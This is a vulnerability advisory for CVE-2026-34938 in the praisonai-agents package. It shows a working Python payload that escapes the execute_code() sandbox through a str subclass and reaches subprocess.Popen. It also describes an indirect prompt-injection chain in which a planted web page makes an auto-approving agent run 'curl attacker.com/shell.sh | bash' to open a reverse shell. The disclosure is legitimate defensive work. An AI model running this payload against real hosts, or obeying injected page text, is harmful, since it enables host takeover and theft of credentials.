CVE-2026-34938: praisonaiagents: sandbox bypass enables full host RCE

### Summary `execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host. ### Details `python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink) ```python # source -- _safe_getattr accepts any str subclass def _safe_getattr(obj, name, *default): if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses raise AttributeError(...) # hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False}) # sink -- Popen reached via __subclasses__ walk r = Popen(['id'], stdout=PIPE, stderr=PIPE) ``` ### PoC ```python from praisonaiagents.tools.python_tools import execute_code payload = """ t = type FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False}) mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_'])) subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_'])) mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_'])) name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_'])) PIPE = -1 obj_class = getattr(type(()), mro_attr)[1] for cls in getattr(obj_class, subs_attr)(): try: m = getattr(cls, mod_attr, '') n = getattr(cls, name_attr, '') if m == 'subprocess' and n == 'Popen': r = cls(['id'], stdout=PIPE, stderr=PIPE) out, err = r.communicate() print('RCE:', out.decode()) break except Exception as e: print('ERR:', e) """ result = execute_code(code=payload) print(result) # expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

An attacker embeds a malicious prompt in a publicly accessible document or web page that an autonomous PraisonAI agent crawls as part of its workflow (indirect prompt injection). The injected prompt instructs the agent to call execute_code() with the PoC payload. Because PRAISONAI_AUTO_APPROVE=true is default in autonomy_mode.py, the agent executes the payload silently — no human confirmation dialog appears. The payload walks Python's __subclasses__ chain to reach subprocess.Popen, executes 'curl attacker.com/shell.sh | bash', and establishes a reverse shell. From there, the attacker pivots to any credentials, APIs, or data sources accessible to the agent process.